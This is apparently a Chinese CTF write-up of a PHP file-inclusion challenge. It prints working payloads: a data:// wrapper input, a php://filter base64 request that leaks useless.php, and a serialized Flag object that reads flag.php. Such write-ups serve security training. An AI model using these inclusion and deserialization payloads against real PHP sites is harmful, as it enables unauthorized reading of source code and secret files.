文件包含实例

一.知识

1.file_get_contents

file_get_contents($text,'r') 好像挺正常的

二.实例

1.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

php 复制代码
?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php 复制代码
php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本

php 复制代码
<?php
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){
	      
        if(isset($this->file)){ 
         
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);

⑤第二个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

相关推荐
mooyuan天天9 小时前
CISP-PTE 文件包含2021(9种方法渗透)
cisp-pte·文件包含·文件包含漏洞
mooyuan天天1 天前
CISP-PTE 文件包含9(七种方法渗透)
cisp-pte·文件包含·文件包含漏洞·data伪协议
mooyuan天天3 天前
CISP-PTE 文件包含5
cisp-pte·文件包含·文件包含漏洞
mooyuan天天5 天前
CISP-PTE 文件包含1(php://filter 伪协议)
cisp-pte·文件包含·文件包含漏洞·php filter·文件包含伪协议
mooyuan天天6 天前
CTF-PTE 文件包含8(八种渗透方法)
cisp-pte·文件包含·文件包含漏洞
一岁天才饺子19 天前
文件包含漏洞
网络安全·文件包含
Pure_White_Sword2 个月前
Bugku-Web题目-文件包含
web安全·网络安全·ctf·文件包含
-曾牛2 个月前
网络安全常见的框架漏洞
安全·web安全·网络安全·渗透测试·文件包含·漏洞复现·框架漏洞
kali-Myon3 个月前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
mooyuan天天4 个月前
CTFHub RCE通关笔记3:文件包含 php://input
文件包含·rce·伪协议·文件包含漏洞·ctfhub·phpinput